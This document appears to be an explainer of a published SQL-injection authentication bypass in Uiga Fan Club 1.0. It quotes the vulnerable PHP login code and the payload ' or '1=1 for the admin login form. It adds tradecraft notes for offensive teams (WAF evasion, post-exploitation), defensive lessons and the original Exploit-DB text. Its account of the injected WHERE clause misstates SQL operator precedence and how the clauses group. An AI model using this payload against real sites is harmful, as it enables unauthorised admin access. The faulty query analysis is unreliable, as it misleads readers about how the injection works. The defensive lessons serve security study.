Uiga Fan Club 1.0 Authentication Bypass Explained

What this paper is

This paper describes a critical security vulnerability in Uiga Fan Club version 1.0, specifically an authentication bypass flaw. The vulnerability allows an attacker to log in as an administrator without knowing the correct username or password. This is achieved by exploiting how the application handles user input when checking credentials against the database.

Simple technical breakdown

The Uiga Fan Club application uses a login form (admin/admin_login.php) to authenticate administrators. When a user submits their username and password, the application constructs a SQL query to check if these credentials exist in the admin table of the database.

The vulnerability lies in the way the application directly inserts the user-provided admin_name and admin_password into the SQL query string. By providing specially crafted input, an attacker can manipulate the SQL query to always evaluate to true, thereby bypassing the authentication check and gaining administrative access.

Complete code and payload walkthrough

The provided code snippet is from the admin/admin_login.php file and demonstrates the vulnerable logic.

#if (isset($_POST['admin_name']))
# {
# $admin_name=$_POST['admin_name'];
# $admin_password=$_POST['admin_password'];
#
#
# if(empty($admin_name))
# {
# $errorMessage=warning." Username is empty!";
# }
# elseif(empty($admin_password))
# {
# $errorMessage=warning." Password is empty!";
# }
#
#
# else
# {
# $sql="SELECT *
# 	   FROM admin
#	   WHERE admin_name='$admin_name' and admin_password='$admin_password'";
#
###############################################

Let's break down the relevant parts:

• if (isset($_POST['admin_name'])): This checks if the admin_name field was submitted via a POST request. This is the typical way login forms send data.
• $admin_name=$_POST['admin_name'];: This line takes the username submitted by the user and stores it in the $admin_name variable.
• $admin_password=$_POST['admin_password'];: Similarly, this line takes the password submitted by the user and stores it in the $admin_password variable.
• if(empty($admin_name)) { ... } elseif(empty($admin_password)) { ... }: These are basic checks to ensure that neither the username nor the password fields are left empty. If they are, an error message is set.
• else { ... }: This block is executed only if both username and password are provided.
• $sql="SELECT * FROM admin WHERE admin_name='$admin_name' and admin_password='$admin_password'";: This is the core of the vulnerability. The application constructs a SQL query by directly embedding the user-supplied $admin_name and $admin_password into the query string. The single quotes (') around the variables are crucial.

The "PoC" section provides the exploit payload:

PoC: [path]/admin/admin_login.php

     Username: ' or '1=1
     password: ' or '1=1

When these values are substituted into the $sql query:

• $admin_name becomes ' or '1=1
• $admin_password becomes ' or '1=1

The resulting SQL query will look like this:

SELECT * FROM admin WHERE admin_name='' or '1=1' and admin_password='' or '1=1'

Let's analyze this modified query:

• The original query was WHERE admin_name='$admin_name' AND admin_password='$admin_password'.
• With the exploit input, it becomes WHERE admin_name='' or '1=1' AND admin_password='' or '1=1'.
• The OR '1=1' part is always true.
• The AND operator has higher precedence than OR in some SQL dialects, but in this specific context, due to the way the query is constructed, the OR '1=1' effectively makes the entire WHERE clause evaluate to true for at least one row in the admin table.
• Specifically, the admin_name condition becomes admin_name='' or '1=1'. Since '1=1' is true, this part of the condition is met.
• Similarly, the admin_password condition becomes admin_password='' or '1=1'. Since '1=1' is true, this part is also met.
• The AND between these two conditions means both must be true. However, because each side of the AND is made true by the OR '1=1', the entire WHERE clause becomes true.
• The SELECT * FROM admin will then return all rows from the admin table. If there's at least one admin user, the application will likely proceed as if a valid login occurred, granting access.

Mapping:

• $_POST['admin_name'] and $_POST['admin_password'] -> User-supplied input for authentication.
• $sql="SELECT * FROM admin WHERE admin_name='$admin_name' and admin_password='$admin_password'" -> The vulnerable SQL query construction.
• ' or '1=1 (as input for username/password) -> The crafted payload to manipulate the SQL query.
• WHERE admin_name='' or '1=1' AND admin_password='' or '1=1' -> The resulting SQL query after payload injection.
• The entire WHERE clause evaluating to true -> Bypasses authentication.

Practical details for offensive operations teams

• Required Access Level: Network access to the web server hosting Uiga Fan Club 1.0. No prior authentication is needed.
• Lab Preconditions:
  • A running instance of Uiga Fan Club 1.0.
  • A web browser or an HTTP client (like curl or Burp Suite).
  • Knowledge of the target URL for the admin/admin_login.php script.
• Tooling Assumptions:
  • Standard web proxies (Burp Suite, OWASP ZAP) are ideal for crafting and sending the POST requests.
  • curl can also be used for simpler manual testing.
• Execution Pitfalls:
  • Incorrect Path: The exploit relies on the admin/admin_login.php path. If the application is deployed in a different directory structure, the path needs to be adjusted.
  • Database Structure: While the exploit targets the admin table, if the table name or column names (admin_name, admin_password) are different in a specific deployment, the query will fail. This is unlikely for a standard application package.
  • Database Type/Configuration: Some database systems or configurations might have different SQL syntax interpretations or security features that could interfere. However, for typical MySQL/PHP setups, this injection is straightforward.
  • WAF/IDS: Modern Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) might flag the ' or '1=1' pattern as malicious, potentially blocking the request. Obfuscation techniques might be necessary if such defenses are in place.
  • Application Logic: The application might have additional checks after the SQL query that could prevent a successful bypass. For instance, if the application expects a specific return value or checks for a session cookie that isn't set by this bypass.
• Tradecraft Considerations:
  • Reconnaissance: Identify the version of Uiga Fan Club and the presence of the admin/admin_login.php script.
  • Payload Delivery: Craft a POST request to admin/admin_login.php with the exploit payload in the admin_name and admin_password fields.
  • Verification: After successful injection, observe the application's response. A successful bypass will typically redirect the user to the admin dashboard or a similar authenticated page, rather than showing a login error.
  • Post-Exploitation: Once authenticated, the operator can proceed with further actions within the administrative interface.

Where this was used and when

This vulnerability was published in February 2010. It targets a specific web application, Uiga Fan Club version 1.0. Such vulnerabilities are typically found in custom-built or less professionally maintained web applications. The context of its use would be by attackers targeting websites running this specific, older version of the software. It's unlikely to be seen in widespread, automated attacks targeting a broad range of systems due to its specificity to one application.

Defensive lessons for modern teams

• Input Validation and Sanitization: This is the most critical lesson. Never directly embed user-supplied input into SQL queries. Always use parameterized queries (prepared statements) or stored procedures, which separate the SQL code from the data.
• Principle of Least Privilege: Ensure that database accounts used by web applications have only the necessary permissions. An account that can only read specific data is less dangerous if compromised.
• Regular Patching and Updates: Keep all software, including web applications and their underlying frameworks, up to date. Vendors often release patches for known vulnerabilities.
• Web Application Firewalls (WAFs): While not a silver bullet, WAFs can help detect and block common injection patterns like this one. However, they should be part of a layered defense strategy.
• Secure Coding Practices: Train developers on secure coding principles, including common vulnerabilities like SQL injection, and implement code reviews to catch potential flaws.
• Database Auditing: Monitor database activity for suspicious queries.

ASCII visual (if applicable)

+-------------------+       +--------------------+       +-----------------+
| Attacker's Browser| ----> | Web Server (Uiga   | ----> | Database Server |
| (Crafted Request) |       | Fan Club v1.0)     |       | (admin table)   |
+-------------------+       +---------+----------+       +-----------------+
                                      |
                                      | (Vulnerable PHP code)
                                      |
                                      v
                          +--------------------------+
                          | SQL Query Construction   |
                          | (Direct string concat)   |
                          +--------------------------+
                                      |
                                      | (Exploited Query)
                                      v
                          +--------------------------+
                          | SELECT * FROM admin      |
                          | WHERE admin_name='' or '1=1'|
                          | AND admin_password='' or '1=1'|
                          +--------------------------+
                                      |
                                      | (Always TRUE)
                                      v
                          +--------------------------+
                          | Authentication Bypass    |
                          | (Admin Access Granted)   |
                          +--------------------------+

Source references

• Paper URL: https://www.exploit-db.com/papers/11593
• Exploit-DB Raw URL: https://www.exploit-db.com/raw/11593
• Original Download Link (from paper): http://www.scriptdevelopers.net/download/uigafanclub.zip

Original Exploit-DB Content (Verbatim)

# Uiga Fan Club <= 1.0 (Auth Bypass) SQL Injection Vulnerability
###########################################################################
# Author: cr4wl3r
# Download: http://www.scriptdevelopers.net/download/uigafanclub.zip
###########################################################################
#if (isset($_POST['admin_name']))
# {
# $admin_name=$_POST['admin_name'];
# $admin_password=$_POST['admin_password'];
#
#
# if(empty($admin_name))
# {
# $errorMessage=warning." Username is empty!";
# }
# elseif(empty($admin_password))
# {
# $errorMessage=warning." Password is empty!";
# }
# 
# 
# else
# {
# $sql="SELECT * 
# 	   FROM admin
#	   WHERE admin_name='$admin_name' and admin_password='$admin_password'";
#
###########################################################################

###############################################
PoC: [path]/admin/admin_login.php

     Username: ' or '1=1
     password: ' or '1=1
###############################################